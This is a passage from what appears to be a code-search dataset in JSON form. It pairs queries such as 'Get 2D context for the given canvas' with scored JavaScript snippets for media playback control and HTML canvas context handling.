"34d80b4352dffc2fdeb57ef052c546ba", "score": "0.636804", "text": "function playPause() {\n\t\t// getLFMPlayer().pause();\n\t\t// getLFMPlayer().unpause();\n\t\tjQuery(ui.playPauseButton).click();\n\t}", "title": "" }, { "docid": "d695da692b0477992a05c1591d4bc7ea", "score": "0.6362198", "text": "function dvjs_video_onstop() { }", "title": "" }, { "docid": "6dc63339d208ed8b3ffc13fb03c35695", "score": "0.63549435", "text": "function pause(){\r\n\t\t\tclearInterval(this.play);\r\n\t\t}", "title": "" }, { "docid": "6c457d10473b650360588c990ac50232", "score": "0.6350429", "text": "function stopMedia(destiny){\n\n var panel = getSlideOrSection(destiny);\n\n\n\n //stopping HTML5 media elements\n\n $('video, audio', panel).forEach(function(element){\n\n if( !element.hasAttribute('data-keepplaying') && typeof element.pause === 'function' ) {\n\n element.pause();\n\n }\n\n });\n\n\n\n //youtube videos\n\n $('iframe[src*=\"youtube.com/embed/\"]', panel).forEach(function(element){\n\n if( /youtube\\.com\\/embed\\//.test(element.getAttribute('src')) && !element.hasAttribute('data-keepplaying')){\n\n element.contentWindow.postMessage('{\"event\":\"command\",\"func\":\"pauseVideo\",\"args\":\"\"}','*');\n\n }\n\n });\n\n }", "title": "" }, { "docid": "c1e9ac27a55df5f43c706324246a4c71", "score": "0.6348282", "text": "function hideytplayer1() {\n if (creative.dom.ytplayer1 != null) {\n creative.dom.ytplayer1.pause();\n creative.dom.ytplayer1.style.display = 'none';\n }\n}", "title": "" }, { "docid": "5cd8c12da5ab40c67a37813f752089b3", "score": "0.6347488", "text": "stop () {\n if (!(this._sourceNode && this._isPlaying)) {\n return\n }\n\n this._audio.pause()\n this._audio.currentTime = 0\n this._isPlaying = false\n }", "title": "" }, { "docid": "8a152213a557050c76b964b0f14eabc6", "score": "0.634366", "text": "function onclickPause() {\n player.pauseVideo();\n}", "title": "" }, { "docid": "127032000a9d37427b2fa76544155a15", "score": "0.634261", "text": "function strg_player_stop_weiter(argAktion){\n\t\n\t//wenn die aktion stop ist, das mfxobjekt pausieren\n\tif(argAktion==\"stop\"){\n\t\toMfxQueue.pause();\n\t}\n\t\n\t//wenn die aktion weiter ist das mfxobjekt weiterführen\n\tif(argAktion==\"weiter\"){\n\t\toMfxQueue.play();\n\t}\n}", "title": "" }, { "docid": "30032552428c33e86cb1319eeb79e9f1", "score": "0.63390017", "text": "function mediaStop() {\n var l85 = document.getElementById('l85')\n l85.pause();\n l85.currentTime = 0;\n}", "title": "" }, { "docid": "ec9e3a4ff56eef416d6d65d8584bfb3f", "score": "0.63384134", "text": "_stopAutoPlay() {\n /* called by the stop button to stop autoplay */\n this._canClick = true;\n this.config.autoPlay.on = false;\n\n this._clearVisitedPath();\n\n if (this._weightedAdjMat) {\n this._weightedAdjMat.resetMatrixWeight();\n this._weightedAdjMat.resetMatrixColorWeight();\n // this._weightedAdjMat.redrawMatrix();\n }\n }", "title": "" }, { "docid": "189a2edee1fa0c0b9f1f05e885329ea1", "score": "0.6338078", "text": "function play() {\n\t\taudio.current.play();\n\t\tsetBotonPlay(\"off\");\n\t}", "title": "" }, { "docid": "1befda19f9119028dac13797d161a0f7", "score": "0.63168645", "text": "function playOrStop() {\n if (playing)\n stop();\n else play();\n}", "title": "" }, { "docid": "9b27bc21371e9236d2e7acd7b545e135", "score": "0.6314938", "text": "function leave() {\n visible = false;\n $scope.playing = false;\n }", "title": "" }, { "docid": "bbdcc33384ff04c87576b7cfdb5bd877", "score": "0.6313837", "text": "function toggle(args, sender, sendResponse) {\n var isPlaying = player.ext_getStatus() == \"playing\";\n player.ext_play(! isPlaying);\n sendResponse(isPlaying);\n}", "title": "" }, { "docid": "7b9f5c1032bb9938736fd80b0d6a9540", "score": "0.63121283", "text": "methodPlay () {\n\t\tthis.instancePlayer.playVideo()\n\t}", "title": "" }, { "docid": "e8931c37021f2f68d885ac4b3eb31cfb", "score": "0.63048035", "text": "_onstop(time) {\n // stop the players\n this._activeSources.forEach((source)=>{\n source.fadeOut = 0;\n source.stop(time);\n });\n this.onstop(this);\n }", "title": "" }, { "docid": "c94284fb5c4bf1cd07ff0df72e407e09", "score": "0.63037837", "text": "function stop() {\n electron.ipcRenderer.send('stop');\n audio.pause();\n audio.src = \"\";\n}", "title": "" }, { "docid": "4322ab1f0e8a18c50a1a003cb380e2ea", "score": "0.6302698", "text": "function stopVid() {\n\t//$('.HeroItem').find('iframe').attr('src', '');\n\t$('.HeroItem').each(function(){\t\n\t\tif ($(this).find('iframe').length > 0) {\n\t\t\t$(this).find('iframe').attr('src', '');\n\t\t\t$(this).find('.HeroContent').css('display', 'inline-block');\n\t\t\t$(this).find('.videoContainer').css('display', 'none');\t\t\t\n\t\t}\t\t\n\t});\n}", "title": "" }, { "docid": "494114b08a8a323e65e56e80aec7bb7d", "score": "0.6291574", "text": "stop() {\n this.pause();\n this.sound.currentTime = 0;\n }", "title": "" }, { "docid": "58623f562763e1c70713fb2a53c592e7", "score": "0.6290918", "text": "function toggleVideoPlayback() {\n var v = $('.active video')\n if (v.length === 0)\n return\n v = v[0]\n if (v.paused) {\n requestFullScreen(v)\n v.play()\n }\n else {\n v.pause()\n cancelFullScreen()\n }\n }", "title": "" }, { "docid": "d8ac504932e5bf5b531945b8683004d9", "score": "0.6287954", "text": "function stop() {\n video.currentTime = 0;\n\n video.pause();\n document.getElementById(\"botonPlay\").src=\"Image/reproductor/play.svg\";\n\n}", "title": "" }, { "docid": "c5fcbf830a27937b4fd4baf07c632b15", "score": "0.62772506", "text": "function toggleVideo() {\n if (!isVideo) {\n startVideo();\n } else {\n handTrack.stopVideo(video)\n isVideo = false;\n }\n}", "title": "" }, { "docid": "dda1709a440119e639e439fe44922816", "score": "0.6271267", "text": "playIdleDown() {\n this.play('idle_front', true);\n }", "title": "" }, { "docid": "0a7b5b45d02a64367b125109e5344ec0", "score": "0.62702", "text": "function hideytplayer0() {\n if (creative.dom.ytplayer0 != null) {\n creative.dom.ytplayer0.pause();\n creative.dom.ytplayer0.style.display = 'none';\n }\n}", "title": "" }, { "docid": "2d6f17e8f57c6bb84a748e341a944dd2", "score": "0.62697375", "text": "function stop() {\n if (sprite.playing) {\n reset();\n sprite.gotoAndStop(sprite.currentFrame);\n }\n }", "title": "" } ]
4eb8f511dfe87d30eb7c343e85c90b33
Get 2D context for the given canvas
[ { "docid": "616a23819ecec02d24dfb09cd8f6aadf", "score": "0.79127544", "text": "function _getContext( canvas ) {\n\treturn ( canvas && canvas.getContext ? canvas.getContext( '2d' ) : NULL );\n}", "title": "" } ]
[ { "docid": "a4b3c5cd39ccfbe631c7dadbbb2ae670", "score": "0.76809335", "text": "function _getContext(canvas) {\n return (canvas && canvas.getContext ? canvas.getContext('2d') : NULL);\n }", "title": "" }, { "docid": "85a1eea06d55a4b048c2b972aadae6c7", "score": "0.7540261", "text": "ctx()\n {\n var canvas = document.getElementById(\"canvas\");\n return canvas.getContext(\"2d\");\n }", "title": "" }, { "docid": "855bee89eabcc2cd7875ebc128700029", "score": "0.7457032", "text": "function _getContext() {\n if (canvas && canvas.getContext) {\n return canvas.getContext('2d');\n }\n }", "title": "" }, { "docid": "3206fd1563b638540f2a69fce188f7c3", "score": "0.74277776", "text": "context() {\n return this._canvas.getContext('2d');\n }", "title": "" }, { "docid": "3206fd1563b638540f2a69fce188f7c3", "score": "0.74277776", "text": "context() {\n return this._canvas.getContext('2d');\n }", "title": "" }, { "docid": "0a15346215106238e8e76db33300386c", "score": "0.7228885", "text": "getCanvasContext() {\n return document.getElementById(\"board\").getContext(\"2d\");\n }", "title": "" }, { "docid": "1b59661fa8e9f91be61a439447ec88fc", "score": "0.716027", "text": "function getcontext() {\n // get the canvas context\n canvas = document.getElementById(\"simCanvas\");\n if(canvas.getContext)\n return canvas.getContext('2d');\n else\n throw \"missing context\";\n}", "title": "" }, { "docid": "786ff2dd96ea85f68a191c45ae9da6a7", "score": "0.7119749", "text": "function getContext (id) {\n return $(id).down('canvas').getContext('2d');\n}", "title": "" }, { "docid": "13aa93061aa26e7a52702f81e810e49a", "score": "0.70696443", "text": "function context(){\n var CANVAS = document.getElementById('game');\n CANVAS.width = WIDTH;\n CANVAS.height = HEIGHT;\n return CANVAS.getContext(\"2d\");\n }", "title": "" }, { "docid": "d71ae5840d65a0e95fedb545b9eb7657", "score": "0.70076144", "text": "createContext() {\n this.context = this.canvas.getContext('2d');\n }", "title": "" }, { "docid": "1e7867e6dbe5cb935af86e183548d948", "score": "0.6927593", "text": "static getCanvasContext(canvasSelector) {\n if (!canvasSelector) {\n throw new _util__WEBPACK_IMPORTED_MODULE_1__.RuntimeError('BadArgument', 'Invalid canvas selector: ' + canvasSelector);\n }\n const canvas = document.getElementById(canvasSelector);\n if (!(canvas && canvas.getContext)) {\n throw new _util__WEBPACK_IMPORTED_MODULE_1__.RuntimeError('UnsupportedBrowserError', 'This browser does not support HTML5 Canvas');\n }\n return canvas.getContext('2d');\n }", "title": "" }, { "docid": "445ca359d95fb7ef83d3d62e785ea7b3", "score": "0.69072574", "text": "static getContextFromCanvasOrContext(canvasOrCtx){\n if(typeof canvasOrCtx === \"string\") {\n return document.querySelector(canvasOrCtx).getContext(\"2d\")\n }\n else if(canvasOrCtx instanceof CanvasRenderingContext2D){\n return canvasOrCtx\n } else {\n return canvasOrCtx.getContext(\"2d\")\n }\n }", "title": "" }, { "docid": "457f5a1e147c89df9b67b9b5aaa4c4ca", "score": "0.6867061", "text": "function getContextOfCanvasElement(id){\n return document.getElementById(id).getContext(\"2d\");\n }", "title": "" }, { "docid": "c36a0edb0a3de77ca70214c86a63439c", "score": "0.6859248", "text": "function getCanvasCTX(id)\n{\n\tcanvas = document.getElementById(id);\n\tvar myContext = canvas.getContext('2d');\n\tcanvas.width = window.innerWidth - 5;\n\tcanvas.height = window.innerHeight - 5 ;\n\treturn (myContext);\n}", "title": "" }, { "docid": "de3503c5816faa93738f10603ed28cc5", "score": "0.6810568", "text": "function Canvas2D() {\n __WEBPACK_IMPORTED_MODULE_2_babel_runtime_helpers_classCallCheck___default()(this, Canvas2D);\n\n /**\n * if use gpu accelerate\n * @type {boolean}\n */\n var _this = __WEBPACK_IMPORTED_MODULE_4_babel_runtime_helpers_possibleConstructorReturn___default()(this, (Canvas2D.__proto__ || __WEBPACK_IMPORTED_MODULE_1_babel_runtime_core_js_object_get_prototype_of___default()(Canvas2D)).call(this, 'Canvas2D'));\n\n _this.useGPUAccelerated = true;\n\n _this._offscreen = document.createElement('canvas');\n _this._offscreenRender = _this._offscreen.getContext('2d');\n return _this;\n }", "title": "" }, { "docid": "51286c690e8c0dd33b0f6a5372c423be", "score": "0.673947", "text": "function getContext(id) {\n var cv = $.$(id);\n if (!cv.getContext && window.G_vmlCanvasManager) {\n G_vmlCanvasManager.initElement(cv);\n }\n\n return cv.getContext('2d');\n }", "title": "" }, { "docid": "5c4a523ef7641344ca2c6a3b532026db", "score": "0.6620229", "text": "_getCanvasContext() {\n let canvasElementForScene = document.getElementById('scene');\n this._canvasContextForScene = canvasElementForScene.getContext('2d');\n }", "title": "" }, { "docid": "464e33c59f40036cb103af70bb916d21", "score": "0.6523727", "text": "function getEdgeyContext(canvas)\n{\n var ctx = canvas.getContext('2d');\n ctx.imageSmoothingEnabled = false;\n ctx.webkitImageSmoothingEnabled = false;\n ctx.mozImageSmoothingEnabled = false;\n ctx.msImageSmoothingEnabled = false;\n return ctx;\n}", "title": "" }, { "docid": "65fed11cd6c8b27534ca8d528dd30b83", "score": "0.6515435", "text": "function getCanvas() {\r\n var c = document.getElementById(\"myCanvas\");\r\n return c.getContext(\"2d\");\r\n}", "title": "" }, { "docid": "81cfc5f9bc46f9b4ee254bc8ca64fc3b", "score": "0.64397156", "text": "function CanvasContext(canvas) {\n this.canvas = canvas;\n\n this._edges = canvas._edges;\n this.beginPath();\n \n this._savedStates = [];\n\n this.resetTransform();\n}", "title": "" }, { "docid": "f19186e1a3c35bb013b198227233ddad", "score": "0.6427731", "text": "function initCanvas()\n{\n // Use the document object to create a new element canvas.\n var canvas = document.createElement(\"canvas\");\n // Assign the canvas an id so we can reference it elsewhere.\n canvas.id = 'mycanvas';\n canvas.width = window.innerWidth;\n canvas.height = window.innerHeight;\n // We want this to be a 2D canvas.\n var ctx = canvas.getContext(\"2d\");\n // Adds the canvas element to the document.\n document.body.appendChild(canvas);\n return ctx;\n}", "title": "" }, { "docid": "1c8a0143f641156517aaf7e1f776b491", "score": "0.6420213", "text": "function initCanvas() {\n canvas = document.getElementById(\"myCanvas\");\n context = canvas.getContext(\"2d\");\n}", "title": "" }, { "docid": "ed7c13965e3d10edca06aec1a72f7685", "score": "0.640666", "text": "get canvasContext() {\n return this.canvas.context;\n }", "title": "" }, { "docid": "b6e9bea9fd36178ce2d997c5ad16d74b", "score": "0.63766664", "text": "createImageContext () {\n\t\tlet canvas = document.createElement('canvas');\n\t\tcanvas.width = this.size.x;\n\t\tcanvas.height = this.size.y;\n\n\t\treturn canvas.getContext('2d'); // used for accelerating XY plane image insertions\n\t}", "title": "" }, { "docid": "3c8dd327a3a803703687b76178b6145a", "score": "0.636128", "text": "function proxyCanvas(canvas) {\n /*\n {\n \"lineTo\": logFunction(\"CanvasRenderingContext2D.lineTo\"),\n \"lineTo\": logFunction(\"CanvasRenderingContext2D.lineTo\"),\n }*/\n \n proxyMethod(canvas, \"getContext\", logFunction(\"HTMLCanvasElement.getContext\", function(arguments, originalFunction) {\n // contextType, contextAttributes\n if (arguments[0] == \"2d\") {\n if (this._proxyContext2d) return this._proxyContext2d;\n var context = originalFunction.apply(this, arguments);\n logAll(context, NAMES.canvasContext2dMethods, \"HTMLCanvasElement.CanvasRenderingContext2D.\");\n this._proxyContext2d = context;\n return context;\n }\n else {\n console.warn(\"HTMLCanvasElement.getContext: Canvas context type \" + arguments[0] + \" requested - proxy not implemented\");\n }\n }));\n }", "title": "" }, { "docid": "5628690b48f73bd6ffb53bd009bda434", "score": "0.6289249", "text": "function createDrawingContext() {\n\t\t// Create a canvas in div#colourWheel\n\t\tcanvas = document.createElement('canvas');\n\n\t\t// Set canvas dimensions\n\t\tcanvas.width = W;\n\t\tcanvas.height = H;\n\n\t\t// Add the canvas to the document\n\t\tcolourWheel.appendChild(canvas);\n\n\t\t// Get the 2D context\n\t\tctx = canvas.getContext('2d');\n\n\t\t// Create a buffer texture the dimensions of the colourwheel\n\t\tbuffer = ctx.getImageData(0, 0, W, H);\n\t}", "title": "" }, { "docid": "c58bd20ccc6eed611c3779ecedee38e7", "score": "0.6205217", "text": "function _2dcontext(node) {\n\tthis.node = node;\n\tthis.width = node.width;\n\tthis.height = node.height;\n\tthis._resize();\n}", "title": "" }, { "docid": "edefd1043bf86ea6ecd9efbd7ae445d4", "score": "0.6186874", "text": "static createFromCanvas(canvas, attribs) {\r\n const gl = canvas.getContext('webgl', attribs);\r\n if (!gl) {\r\n throw new Error('Failed to create GL context from canvas.');\r\n }\r\n return new RenderContext(gl);\r\n }", "title": "" }, { "docid": "0eebf46f5f9cbc50aca9ed92ed7346d8", "score": "0.61740786", "text": "function getCanvasData(){ \n return ctx.getImageData(0, 0, myCanvasArea.canvas.width, myCanvasArea.canvas.height);\n}", "title": "" }, { "docid": "fdbd3faa474fbc80447f63cce3e19cf6", "score": "0.6168749", "text": "function kxCanvasContext(canvas, defaults)\n\t{\n\t\t/*jshint validthis: true*/\n\t\tvar context = this;\n\n\t\t/**\n\t\t * kxCanvasContext initializer function\n\t\t * @name init\n\t\t * @type function\n\t\t * @access internal\n\t\t * @return void\n\t\t */\n\t\tfunction init()\n\t\t{\n\t\t\tvar property = konflux.combine(defaults || {}, {\n\t\t\t\t\theight: null, // readonly\n\t\t\t\t\twidth: null // readonly\n\t\t\t\t}),\n\t\t\t\tp;\n\t\t\tcontext.ctx2d = canvas.getContext('2d');\n\n\t\t\t// relay all methods\n\t\t\tfor (p in context.ctx2d)\n\t\t\t\tif ('function' !== typeof context[p])\n\t\t\t\t{\n\t\t\t\t\tif (konflux.isType('function', context.ctx2d[p]))\n\t\t\t\t\t\tcontext[p] = relayMethod(context.ctx2d[p]);\n\t\t\t\t\telse if (p in context.ctx2d.canvas)\n\t\t\t\t\t\tcontext[p] = relayCanvasProperty(p, p in property && property[p] === null);\n\t\t\t\t\telse\n\t\t\t\t\t\tcontext[p] = relayProperty(p, p in property && property[p] === null);\n\n\t\t\t\t\tif (p in property && property[p] !== null)\n\t\t\t\t\t\tcontext[p](property[p]);\n\t\t\t\t}\n\t\t}\n\n\t\t/**\n\t\t * Create a delegation function which call a context method and returns the kxCanvasContext\n\t\t * instance (providing chainability)\n\t\t * @name relayMethod\n\t\t * @type function\n\t\t * @access internal\n\t\t * @param function context method\n\t\t * @return function delegate\n\t\t */\n\t\tfunction relayMethod(f)\n\t\t{\n\t\t\treturn function(){\n\t\t\t\tf.apply(context.ctx2d, arguments);\n\t\t\t\treturn context;\n\t\t\t};\n\t\t}\n\n\t\t/**\n\t\t * Create a delegation function which gets/sets a canvas value and returns the kxCanvasContext\n\t\t * instance (providing chainability)\n\t\t * @name relayCanvasProperty\n\t\t * @type function\n\t\t * @access internal\n\t\t * @param string canvas property\n\t\t * @param bool read only\n\t\t * @return function delegate\n\t\t */\n\t\tfunction relayCanvasProperty(key, ro)\n\t\t{\n\t\t\treturn function(value){\n\t\t\t\tif (konflux.isType(undef, value))\n\t\t\t\t\treturn context.ctx2d.canvas[key];\n\t\t\t\tif (!ro)\n\t\t\t\t\tcontext.ctx2d.canvas[key] = value;\n\t\t\t\treturn context;\n\t\t\t};\n\t\t}\n\n\t\t/**\n\t\t * Create a delegation function which gets/sets a context value and returns the kxCanvasContext\n\t\t * instance (providing chainability)\n\t\t * @name relayProperty\n\t\t * @type function\n\t\t * @access internal\n\t\t * @param string context property\n\t\t * @param bool read only\n\t\t * @return function delegate\n\t\t */\n\t\tfunction relayProperty(key, ro)\n\t\t{\n\t\t\treturn function(value){\n\t\t\t\tif (konflux.isType(undef, value))\n\t\t\t\t\treturn context.ctx2d[key];\n\t\t\t\tif (!ro)\n\t\t\t\t\tcontext.ctx2d[key] = value;\n\t\t\t\treturn context;\n\t\t\t};\n\t\t}\n\n\t\t/**\n\t\t * Add a gradient fill to the canvas, adding colorstops to the the provided gradient\n\t\t * @name gradientFill\n\t\t * @type function\n\t\t * @access internal\n\t\t * @param object gradient\n\t\t * @param object color ({<position>:<color>})\n\t\t * @return object kxCanvasContext\n\t\t */\n\t\tfunction gradientFill(gradient, color)\n\t\t{\n\t\t\tvar p;\n\t\t\tfor (p in color)\n\t\t\t\tgradient.addColorStop(p, color[p]);\n\n\t\t\tcontext.fillStyle(gradient);\n\t\t\tcontext.fill();\n\n\t\t\treturn context;\n\t\t}\n\n\t\t/**\n\t\t * Draw a multitude of line segments from a list of kx.point instances (or {x:N, y:N}) in\n\t\t * a fully enclosed path\n\t\t * @name path\n\t\t * @type function\n\t\t * @access internal\n\t\t * @param mixed point (one of: kxPoint or Array of points)\n\t\t * @param mixed ...\n\t\t * @param mixed pointN\n\t\t * @return object kxCanvasContext\n\t\t */\n\t\tfunction path()\n\t\t{\n\t\t\tvar arg = konflux.array.cast(arguments),\n\t\t\t\tlen = arguments.length,\n\t\t\t\ti;\n\n\t\t\tif (len === 1 && arg[0] instanceof Array)\n\t\t\t\treturn context.line.apply(context.line, arg[0]);\n\n\t\t\tcontext.beginPath();\n\t\t\tfor (i = 0; i < len; ++i)\n\t\t\t\tif (i === len - 1 && arguments[i].equal(arguments[0]))\n\t\t\t\t\tcontext.closePath();\n\t\t\t\telse\n\t\t\t\t\tcontext[i === 0 ? 'moveTo' : 'lineTo'](arguments[i].x, arguments[i].y);\n\n\t\t\treturn context;\n\t\t}\n\n\n\t\t/**\n\t\t * Resize the current canvas into a new one\n\t\t * @name resize\n\t\t * @type method\n\t\t * @access public\n\t\t * @param mixed width (one of: number, string percentage)\n\t\t * @param mixed height (one of: number, string percentage)\n\t\t * @return object kxCanvas\n\t\t */\n\t\tcontext.resize = function(width, height)\n\t\t{\n\t\t\tvar percentage = /([0-9]+)%/,\n\t\t\t\tcnvs;\n\n\t\t\tif (width > 0 && width < 1)\n\t\t\t\twidth = Math.round(canvas.width * width);\n\t\t\telse if (konflux.isType('string', width) && percentage.test(width))\n\t\t\t\twidth = Math.round(canvas.width * (parseInt(width, 10) / 100));\n\n\t\t\tif (height > 0 && height < 1)\n\t\t\t\theight = Math.round(canvas.height * height);\n\t\t\telse if (konflux.isType('string', height) && percentage.test(height))\n\t\t\t\theight = Math.round(canvas.height * (parseInt(height, 10) / 100));\n\n\t\t\tif (!width && height)\n\t\t\t\twidth = Math.round(height * (canvas.width / canvas.height));\n\t\t\telse if (!height && width)\n\t\t\t\theight = Math.round(width * (canvas.height / canvas.width));\n\n\t\t\tif (width && height)\n\t\t\t{\n\t\t\t\tcnvs = konflux.canvas.create(width, height);\n\t\t\t\tcnvs.drawImage(context, 0, 0, canvas.width, canvas.height, 0, 0, width, height);\n\t\t\t\treturn cnvs;\n\t\t\t}\n\t\t\treturn false;\n\t\t};\n\n\t\t/**\n\t\t * Get/set the canvas' full dataURL\n\t\t * @name data\n\t\t * @type method\n\t\t * @access public\n\t\t * @param string data (one of: the full data url to apply, or the mime type to obtain)\n\t\t * @param number quality (only used when obtaining the dataURL)\n\t\t * @return mixed result (string dataURL when obtaining, object kxCanvasContext when providing)\n\t\t */\n\t\tcontext.data = function(data, quality)\n\t\t{\n\t\t\tvar image;\n\t\t\tif (data && !/^[a-z]+\\/[a-z0-9\\-\\+\\.]+/.test(data))\n\t\t\t{\n\t\t\t\timage = new Image();\n\t\t\t\timage.src = data;\n\t\t\t\tcontext.ctx2d.clearRect(0, 0, canvas.width, canvas.height);\n\t\t\t\tcontext.drawImage(image, 0, 0);\n\t\t\t\treturn context;\n\t\t\t}\n\t\t\treturn canvas.toDataURL(data, quality || 0.8);\n\t\t};\n\n\t\t/**\n\t\t * Append the canvas object associtated with the current kxCanvasContext to given DOM target\n\t\t * @name append\n\t\t * @type method\n\t\t * @access public\n\t\t * @param mixed target (one of: DOMElement or string id)\n\t\t * @return mixed result (kxCanvasContext on success, bool false otherwise)\n\t\t */\n\t\tcontext.append = function(target)\n\t\t{\n\t\t\tif (konflux.isType('string', target))\n\t\t\t\ttarget = document.getElementById(target);\n\n\t\t\tif (konflux.isType('object', target))\n\t\t\t\treturn target.appendChild(canvas) ? context : false;\n\n\t\t\treturn false;\n\t\t};\n\n\t\t/**\n\t\t * Shorthand method to provide shadows to the canvas\n\t\t * @name shadow\n\t\t * @type method\n\t\t * @access public\n\t\t * @param number offsetX (skipped if not a number)\n\t\t * @param number offsetY (skipped if not a number)\n\t\t * @param number blur (skipped if not a number)\n\t\t * @param mixed color (applied as provided, if provided)\n\t\t * @return object kxCanvasContext\n\t\t */\n\t\tcontext.shadow = function(x, y, blur, color)\n\t\t{\n\t\t\tif (konflux.isType('number', x))\n\t\t\t\tcontext.shadowOffsetX(x);\n\t\t\tif (konflux.isType('number', y))\n\t\t\t\tcontext.shadowOffsetY(y);\n\t\t\tif (konflux.isType('number', blur))\n\t\t\t\tcontext.shadowBlur(blur);\n\t\t\tif (!konflux.isType(undef, color))\n\t\t\t\tcontext.shadowColor(color);\n\n\t\t\treturn context;\n\t\t};\n\n\t\t/**\n\t\t * Get/set the canvas' full dataURL\n\t\t * @name drawImage\n\t\t * @type method\n\t\t * @access public\n\t\t * @param DOMElement image (Specifies the image, canvas, or video element to use)\n\t\t * @param number sourceX [optional. The x coordinate where to start clipping]\n\t\t * @param number sourceY [optional. The y coordinate where to start clipping]\n\t\t * @param number sourceWidth [optional. The width of the clipped image]\n\t\t * @param number sourceHeight [optional. The height of the clipped image]\n\t\t * @param number targetX\n\t\t * @param number targetY\n\t\t * @param number targetWidth [optional, default null - sourceWidth]\n\t\t * @param number targetHeight [optional, default null - sourceHeight]\n\t\t * @return object kxCanvasContext\n\t\t * @note This method is fully compatible with the native drawImage method:\n\t\t * https://developer.mozilla.org/en/docs/Web/API/CanvasRenderingContext2D#drawImage()\n\t\t */\n\t\tcontext.drawImage = function()\n\t\t{\n\t\t\tvar arg = konflux.array.cast(arguments);\n\n\t\t\t// if we have a request to draw a kxCanvasContext, we honorate it by fetching its canvas\n\t\t\tif (arg[0] instanceof kxCanvasContext)\n\t\t\t\targ[0] = arg[0].ctx2d.canvas;\n\n\t\t\tcontext.ctx2d.drawImage.apply(context.ctx2d, arg);\n\t\t\treturn context;\n\t\t};\n\n\t\t/**\n\t\t * Get the image data from the canvas\n\t\t * @name getImageData\n\t\t * @type method\n\t\t * @access public\n\t\t * @param number x\n\t\t * @param number y\n\t\t * @param number width\n\t\t * @param number height\n\t\t * @return ImageData data\n\t\t */\n\t\tcontext.getImageData = function()\n\t\t{\n\t\t\tvar arg = konflux.array.cast(arguments);\n\n\t\t\treturn context.ctx2d.getImageData.apply(context.ctx2d, arg);\n\t\t};\n\n\t\t/**\n\t\t * Fill the current (closed) shape\n\t\t * @name colorFill\n\t\t * @type method\n\t\t * @access public\n\t\t * @param mixed color (applied as provided, if provided, using the default fillStyle otherwise)\n\t\t * @return object kxCanvasContext\n\t\t */\n\t\tcontext.colorFill = function(color)\n\t\t{\n\t\t\tif (color)\n\t\t\t\tcontext.fillStyle(color);\n\t\t\tcontext.fill();\n\t\t\treturn context;\n\t\t};\n\n\t\t/**\n\t\t * Set the stroke style\n\t\t * @name strokeStyle\n\t\t * @type method\n\t\t * @access public\n\t\t * @param mixed color\n\t\t * @param number width (line thickness)\n\t\t * @param string lineCap (one of: 'butt','round','square')\n\t\t * @return object kxCanvasContext\n\t\t */\n\t\tcontext.strokeStyle = function(color, width, cap)\n\t\t{\n\t\t\tif (color)\n\t\t\t\tcontext.ctx2d.strokeStyle = color;\n\t\t\tif (width)\n\t\t\t\tcontext.ctx2d.lineWidth = width;\n\t\t\tif (cap)\n\t\t\t\tcontext.ctx2d.lineCap = cap;\n\n\t\t\treturn context;\n\t\t};\n\n\t\t/**\n\t\t * Apply a radial gradient fill\n\t\t * @name radialGradientFill\n\t\t * @type method\n\t\t * @access public\n\t\t * @param kxPoint centerA (instead of a kxPoint, an object {x:<num>, y:<num>} will suffice)\n\t\t * @param number radiusA\n\t\t * @param kxPoint centerB (instead of a kxPoint, an object {x:<num>, y:<num>} will suffice)\n\t\t * @param number radiusB\n\t\t * @param mixed color\n\t\t * @return object kxCanvasContext\n\t\t */\n\t\tcontext.radialGradientFill = function(a, ar, b, br, color)\n\t\t{\n\t\t\treturn gradientFill(context.ctx2d.createRadialGradient(a.x, a.y, ar, b.x, b.y, br), color);\n\t\t};\n\n\t\t/**\n\t\t * Apply a linear gradient fill\n\t\t * @name linearGradientFill\n\t\t * @type method\n\t\t * @access public\n\t\t * @param kxPoint from (instead of a kxPoint, an object {x:<num>, y:<num>} will suffice)\n\t\t * @param kxPoint to (instead of a kxPoint, an object {x:<num>, y:<num>} will suffice)\n\t\t * @param mixed color\n\t\t * @return object kxCanvasContext\n\t\t */\n\t\tcontext.linearGradientFill = function(a, b, color)\n\t\t{\n\t\t\treturn gradientFill(context.ctx2d.createLinearGradient(a.x, a.y, b.x, b.y), color);\n\t\t};\n\n\t\t/**\n\t\t * Draw a circle\n\t\t * @name circle\n\t\t * @type method\n\t\t * @access public\n\t\t * @param kxPoint center (instead of a kxPoint, an object {x:<num>, y:<num>} will suffice)\n\t\t * @param number radius\n\t\t * @return object kxCanvasContext\n\t\t */\n\t\tcontext.circle = function(p, radius)\n\t\t{\n\t\t\treturn context\n\t\t\t\t.beginPath()\n\t\t\t\t.arc(p.x, p.y, radius, 0, Math.PI * 2, 1)\n\t\t\t\t.closePath()\n\t\t\t;\n\t\t};\n\n\t\t/**\n\t\t * Draw a multitude of line segments from a list of kx.point instances (or {x:N, y:N}) in\n\t\t * a fully enclosed path\n\t\t * @name path\n\t\t * @type method\n\t\t * @access public\n\t\t * @param mixed point (one of: kxPoint or Array of points)\n\t\t * @param mixed ...\n\t\t * @param mixed pointN\n\t\t * @return object kxCanvasContext\n\t\t */\n\t\tcontext.path = path;\n\n\t\t/**\n\t\t * Create a pattern from an image, canvas or video\n\t\t * @name createPattern\n\t\t * @type method\n\t\t * @access public\n\t\t * @param object source (one of: image-, canvas-, video element)\n\t\t * @param string repeat (one of: repeat (default), no-repeat, repeat-x, repeat-y)\n\t\t * @return object CanvasPattern\n\t\t */\n\t\tcontext.createPattern = function(source, repeat)\n\t\t{\n\t\t\treturn context.ctx2d.createPattern(source, repeat || 'repeat');\n\t\t};\n\n\t\t/**\n\t\t * Create a rectangle shape with a radius for the corners\n\t\t * @name roundedRect\n\t\t * @type method\n\t\t * @access public\n\t\t * @param object kxPoint (top left corner)\n\t\t * @param object kxPoint (bottom right corner)\n\t\t * @param number radius\n\t\t * @return object kxCanvasContext\n\t\t */\n\t\tcontext.roundedRect = function(a, b, radius)\n\t\t{\n\t\t\treturn context\n\t\t\t\t.beginPath()\n\t\t\t\t.moveTo(a.x + radius, a.y)\n\t\t\t\t.lineTo(a.x + b.x - radius, a.y)\n\t\t\t\t.quadraticCurveTo(a.x + b.x, a.y, a.x + b.x, a.y + radius)\n\t\t\t\t.lineTo(a.x + b.x, a.y + b.y - radius)\n\t\t\t\t.quadraticCurveTo(a.x + b.x, a.y + b.y, a.x + b.x - radius, a.y + b.y)\n\t\t\t\t.lineTo(a.x + radius, a.y + b.y)\n\t\t\t\t.quadraticCurveTo(a.x, a.y + b.y, a.x, a.y + b.y - radius)\n\t\t\t\t.lineTo(a.x, a.y + radius)\n\t\t\t\t.quadraticCurveTo(a.x, a.y, a.x + radius, a.y)\n\t\t\t\t.closePath()\n\t\t\t;\n\t\t};\n\n\t\t/**\n\t\t * 